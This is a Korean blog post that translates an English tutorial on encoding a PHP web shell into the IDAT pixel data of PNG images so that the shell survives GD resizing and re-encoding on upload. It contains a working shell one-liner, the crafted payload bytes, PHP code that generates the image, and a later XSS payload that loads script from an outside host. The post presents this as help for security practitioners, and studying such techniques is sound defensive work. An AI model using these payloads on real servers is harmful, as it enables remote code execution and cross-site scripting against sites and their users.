[번역] Encoding-Web-Shells-in-PNG-IDAT-chunks
2019-10-03 / rootable

Encoding Web Shells in PNG IDAT chunks

아래는 PNG 파일 포맷을 이용하여 웹쉘을 삽입하는 내용에 대한 글이다.

외국문서인 만큼 영어로 되어있길래 잘 이해가 되지 않아 번역을 하며 자세히 알아보았다.

국내의 보안인들에게 도움이 되었으면 한다.
(오역이 있을 수 있습니다.)

출처 : https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/


만약 너가 이미지 안에 웹쉘을 신중하게 넣는다면, 너는 서버 측 필터를 우회할 수 있고 쉘을 구체화할 수 있을 것이다(그리고 나는 주석이나 metadata에 인코딩된 데이터를 넣는것에 대해 말하는 것이 아니다) - 해당 포스트는 당신에게 오직 GD만을 이용하여 PNG IDAT chunks 에 PHP 쉘을 작성할 수 있다는 것을 보여줄 것이다.

만약 너가 파일 시스템에 코드를 작성할 수 없다면 서버의 미흡한 설정 혹은 Local File Inclusion을 exploit 하는 것은 곤란할 수 있다. - 이미지 업로드를 허용하는 과거의 어플리케이션은 metadate나 변조된 이미지를 통해 코드를 서버에 업로드하는 제한된 방법을 제공했다. 그러나 꽤 종종 이미지들은 크기가 조정되거나 회전되거나 메타 데이터가 제거되거나 다른 파일 형식으로 인코딩되어 웹쉘 페이로드가 효과적으로 제거된다.


PNG 파일 형식 기초

PNG 파일 포맷(우리는 인덱싱된 것이 아니라 true-color PNG 파일에 초점을 둘 것이다)에서 IDAT chunk는 픽셀 정보를 저장한다. 우리가 PHP 쉘을 저장할 곳은 이 chunk이다. 이제 우리는 픽셀이 항상 RGB color 채널을 나타내는 3 byte로 저장된다고 가정하자.

raw 이미지가 PNG로 저장이 될 때, 이미지의 각 행은 각 바이트 단위로 필터링되고 행은 사용된 필터 유형을 나타내는 번호(0x01 ~ 0x05)가 접두사로 붙으며, 다른 행은 다른 필터를 사용할 수 있다. 이렇게 하는 이유는 압축 비율을 향상시키기 위함이다. 모든 행이 필터링되면 그것들은 IDAT chunk를 형성하기 위해 모두 DEFLATE 알고리즘으로 압축된다.

flow1

그래서 만약 우리가 데이터를 raw 이미지로 입력하고 쉘로 저장하려면 우리는 PNG 라인 필터와 DEFLATE 알고리즘을 둘다 무산시킬 필요가 있다. 거꾸로 작업하는 것이 더 쉬우므로 우리는 DELFATE 부터 시작할 것이다.


Step 1. 쉘을 형성하기 위해 문자열 압축하기

쉘을 형성하기 위해서는 압축하는 문자열을 설계하는 것이 이상적이다. 이는 생각하는 것만큼 어렵지는 않지만 분명히 문자열에는 반복되는 코드 블록이 포함될 수 없다(또는 압축될 것이다). 사실, 쉘이 압축되는 것으로부터 막기 위해서는 길이가 2글자 이상 반복되는 부분 문자열이 없도록 설계해야 한다. 이것은 우리가 문자열을 짧게 유지해야한다는 것을 의미한다 :

1
<?=`$_GET[0]`;?>

이렇게 간단하다면 얼마나 좋을까 :) 안타깝게도, 만약 너가 위의 문자열을 DEFLATE로 실행하면 많은 쓰레기가 나오게 되는데, 그 문자열은 압축되지 않았지만 DEFLATE 결과는 byte boundary에서 시작하지 않고 MSB가 아닌 LSB를 사용하여 인코딩된다. 자세히 말하지는 않겠지만 당신은 Pograph의 weblog에서 더 많은 것을 읽을 수 있다.

인코딩하기 가장 쉬운 쉘은 상위 케이스에 있다 :

1
<?=$_GET[0]($_POST[1]);?>

당신은 $_GET[0]을 shell_exec로 지정하고 $_POST[1] 파라미터에 실행하기 위한 쉘 명령어를 전달함으로써 사용할 수 있다.

나는 위의 문장을 DEFLATES 포맷으로 문자열을 설계했으며, 이 문자열의 이점은 페이로드의 첫번째 바이트가 0x00에서 0x04까지 변경될 수 있고 압축된 문자열도 여전히 읽을 수 있다는 것이다. - 이것은 다음 단계에서 마주할 PNG 필터를 회피하는데 중요하다.

03a39f67546f2c24152b116712546f112e29152b2167226b6f5f5310

안타깝게도 PNG 라이브러리가 이미지 행을 먼저 필터링하고 DEFLATE를 적용하기 때문에 이것을 초기 원시 이미지에 포함시키고 IDAT chunk에 포함시킬 수는 없다.


Step 2. PNG 라인 필터 우회

5가지 종류의 필터가 있으며 PNG encoder가 각 라인에 사용할 필터를 결정한다. 이제 문제는 필터로 전달될 때 1단계의 문자열이 생성되는 문자열을 구성해야 한다는 것이다.

이미지에 오직 1행의 payload만 포함되어있는 한 (이미지의 나머지 부분ì€ 검은 색과 같이 일정한 색상이어야 함) 당신이 마주치는 두 필터는 1과 3일 것이며, 만약 이미지의 왼쪽 상단에 페이로드가 남아있는 경우 그것을 더욱 단순화하기 위해 우리는 다음과 같이 두 필터의 역순을 쓸 수 있다.

1
2
3
4
5
6
// Reverse Filter 1
for ($i = 0; $i < $s; $i++)
$p[$i+3] = ($p[$i+3] + $p[$i]) % 256;
// Reverse Filter 3
for ($i = 0; $i < $s; $i++)
$p[$i+3] = ($p[$i+3] + floor($p[$i] / 2)) % 256;

만약 필터 3만 사용하여 payload를 인코딩하면 PNG 인코더는 필터 1을 사용하려 인코딩하려할 것이고, 필터 1을 사용하여 인코딩하려하면 PNG 인코더는 필터0을 사용하려 할 것이다 - 결국 당신은 루프에 빠지게 된다.

PNG 인코더가 선택하는 필터를 컨트롤하기 위해 필터 3과 필터 1의 역으로 2단계에서 쉘을 인코딩하고 이를 연결하여 인코더가 payload에 대해 필터 3을 선택하도록 하며 원시 이미지의 데이터가 2단계에서 코드로 변환되도록 한다. 이 코드는 IDAT chunk에 저장된 웹 쉘로 압축된다.

이 방법을 사용하면 아래의 payload가 생성된다. - 필터 3은 녹색, 필터 1은 회색이다.
아러니하게 필터를 사용하면 실제로 페이로드가 더 커진다.

0xa3, 0x9f, 0x67, 0xf7, 0xe, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x1, 0xdc, 0x5a, 0x1, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33


Step 3. Raw Image 구성하기

GD가 PNG 파일로 인코딩할 raw image를 구성할 때 이미지의 첫번째 행에 payload를 배치하는 것은 중요하다. 이 시점에서 위에서 제공한 페이로드는 작은 이미지(최대 ~40px by ~ 40px) 에서만 작동하지만 더 큰 이미지에 대해서도 payload를 구성할 수 있다.

페이로드는 다음과 같이 RGB byte 시퀀스로 인코딩되어야 한다:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img);

이미지가 구성되면 검은 배경의 왼쪽 상단 모서리에 픽셀 문자열이 나타난다.

shellcod1

이미지를 hex editor로 볼 때 쉘을 볼 수 있어야 한다:

hexdumppngshell.png


Step 4. 이미지 변환 우회

IDAT chunk 에 웹쉘을 넣는 주된 이유는 리사이즈와 리샘플링 작업을 우회할 수 있기 때문이다. - PHP-GD는 이 imagecopyresizedimagecopyresampled를 수행하는 두 함수를 포함하고 있다.

Imagecopyresampled는 픽셀 그룹에서 평균 픽셀 값을 가져와 이미지를 변환하는데 이것을 우회하기 위해서는 payload를 일련의 직사각형 혹은 정사각형으로 인코딩해야 한다. 반면에 Imagecopyresized는 몇 픽셀마다 샘플링하여 이미지를 변환하므로 이 기능을 우회하기 위해서는 실제로 몇 픽셀만 변경하면 된다.


위에 있는 이미지는 imagecopyresize를 사용하여 32x32로 리사이즈할 때와 아래에 있는 이미지를 imagecopyresample을 사용하여 32x32로 리샘플링할 때 둘 다 웹쉘을 나타낸다.



몇 가지 결론

IDAT chunk에 쉘을 배치하는 것은 몇 가지 큰 이점이 있으며 어플리케이션이 업로드된 이미지를 resize 혹은 re-encode 하는 대부분의 데이터 유효성 검사 기술을 우회해야 한다. 최종이미지가 PNG로 저장되는 한 당신은 위의 페이로드를 GIF나 JPEG로도 업로드할 수 있다.

쉘을 더욱 효과적으로 숨기고 업로드된 이미지에서 쉘을 찾는데 더 짧도록 사용할 수 있는 더 나은 기법이 있을 수 있으며, 아마도 그것을 막아야 하는 개발자로서 할 수 있는 것은 많지 않을 것이다.

JPEG와 같이 손실이 많은 형식으로 쉘을 인코딩하는 것은 상당히 어려울 수 있다 - 그러나 불가능하지는 않을 것이다.


업데이트 : 2015년 7월

만약 사용자가 제공하는 PNG 파일을 포함하는 http 응답의 content-type 필드를 제어할 수 있다면 다음의 payload가 유용할 수 있다. 다음의 스크립트 태그를 IDAT chunk로 인코딩한다 :

1
<ScRiPT sRC=//XQI.CC></SCrIpt>

참조하는 스크립트는 custom payload를 삽입할 수 있는 GET 파라미터 zz의 내용을 실행한다. 그것은 당신의 target origin에 효과적으로 reflected XSS 엔드 포인트를 제공한다.

1
http://example.org/images/test.png?zz=alert("this is xss :(");



GD 라이브러리 함수를 우회하는 이미지에서 쉘을 인코딩하는데에 대한 다른 훌륭한 작업이 있었다.

  • “<?=System($_GET[C]);?>”를 imagecreatefromjpeg에서 살아남은 JPEG파일로 인코딩하는데 성공한 이미지 (오류가 발생하지만 GD로 복구됨)

  • 인코딩 전략이 약간 다른 GIF; payload는 이미지 본문이 아닌 GIF 헤더에 인코딩된다.

PNG 다운로드 XSS Payload | PHP Payload